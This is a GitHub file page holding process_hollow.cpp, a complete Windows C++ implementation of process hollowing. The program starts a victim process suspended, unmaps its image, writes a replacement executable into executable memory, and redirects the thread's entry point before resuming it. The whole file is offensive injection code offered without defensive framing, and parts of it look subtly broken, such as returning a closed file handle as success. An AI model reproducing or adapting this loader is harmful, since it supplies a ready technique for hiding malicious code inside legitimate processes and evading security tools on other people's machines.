-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathprocess_hollow.cpp
More file actions
123 lines (95 loc) · 4.24 KB
/
process_hollow.cpp
File metadata and controls
123 lines (95 loc) · 4.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);
BOOL CreateSuspendedProcess(LPCSTR path, LPSTARTUPINFOA si, LPPROCESS_INFORMATION pi) {
return CreateProcessA(NULL, (LPSTR)path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, si, pi);
}
HANDLE LoadReplacementExecutable(LPCSTR path, LPVOID* image, DWORD* size) {
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
*size = GetFileSize(hFile, NULL);
*image = VirtualAlloc(NULL, *size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!*image) {
CloseHandle(hFile);
return NULL;
}
DWORD bytesRead;
if (!ReadFile(hFile, *image, *size, &bytesRead, NULL)) {
VirtualFree(*image, 0, MEM_RELEASE);
CloseHandle(hFile);
return NULL;
}
CloseHandle(hFile);
return hFile;
}
BOOL GetVictimImageBase(HANDLE hProcess, HANDLE hThread, LPVOID* baseAddr) {
WOW64_CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
if (!Wow64GetThreadContext(hThread, &ctx)) return FALSE;
return ReadProcessMemory(hProcess, (LPCVOID)(ctx.Ebx + 8), baseAddr, sizeof(LPVOID), NULL);
}
BOOL UnmapVictimImage(HANDLE hProcess, LPVOID baseAddr) {
return NtUnmapViewOfSection(hProcess, baseAddr) == 0;
}
BOOL AllocateHollowedMemory(HANDLE hProcess, LPVOID baseAddr, SIZE_T size, LPVOID* remoteAddr) {
*remoteAddr = VirtualAllocEx(hProcess, baseAddr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
return *remoteAddr != NULL;
}
BOOL WriteImageToProcess(HANDLE hProcess, LPVOID remoteBase, LPVOID localImage, PIMAGE_NT_HEADERS ntHeaders) {
if (!WriteProcessMemory(hProcess, remoteBase, localImage, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
return FALSE;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, section++) {
if (!section->SizeOfRawData) continue;
LPVOID localSection = (LPBYTE)localImage + section->PointerToRawData;
LPVOID remoteSection = (LPBYTE)remoteBase + section->VirtualAddress;
if (!WriteProcessMemory(hProcess, remoteSection, localSection, section->SizeOfRawData, NULL))
return FALSE;
DWORD oldProtect;
VirtualProtectEx(hProcess, remoteSection, section->Misc.VirtualSize, section->Characteristics & 0x00FFFFFF, &oldProtect);
}
return TRUE;
}
BOOL SetVictimEntryPoint(HANDLE hThread, LPVOID entryPoint) {
WOW64_CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
if (!Wow64GetThreadContext(hThread, &ctx)) return FALSE;
ctx.Eax = (DWORD)(SIZE_T)entryPoint;
ctx.Eip = (DWORD)(SIZE_T)entryPoint;
return Wow64SetThreadContext(hThread, &ctx);
}
int main() {
LPCSTR victimPath = "";
LPCSTR replacementPath = "";
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
if (!CreateSuspendedProcess(victimPath, &si, &pi))
return 1;
LPVOID replacementImage = NULL;
DWORD replacementSize = 0;
if (!LoadReplacementExecutable(replacementPath, &replacementImage, &replacementSize))
return 1;
LPVOID victimBase = NULL;
if (!GetVictimImageBase(pi.hProcess, pi.hThread, &victimBase))
return 1;
if (!UnmapVictimImage(pi.hProcess, victimBase))
return 1;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)replacementImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LPBYTE)replacementImage + dos->e_lfanew);
LPVOID hollowedBase = NULL;
if (!AllocateHollowedMemory(pi.hProcess, victimBase, nt->OptionalHeader.SizeOfImage, &hollowedBase))
return 1;
if (!WriteImageToProcess(pi.hProcess, hollowedBase, replacementImage, nt))
return 1;
LPVOID entry = (LPBYTE)hollowedBase + nt->OptionalHeader.AddressOfEntryPoint;
if (!SetVictimEntryPoint(pi.hThread, entry))
return 1;
if (ResumeThread(pi.hThread) == -1)
return 1;
VirtualFree(replacementImage, 0, MEM_RELEASE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}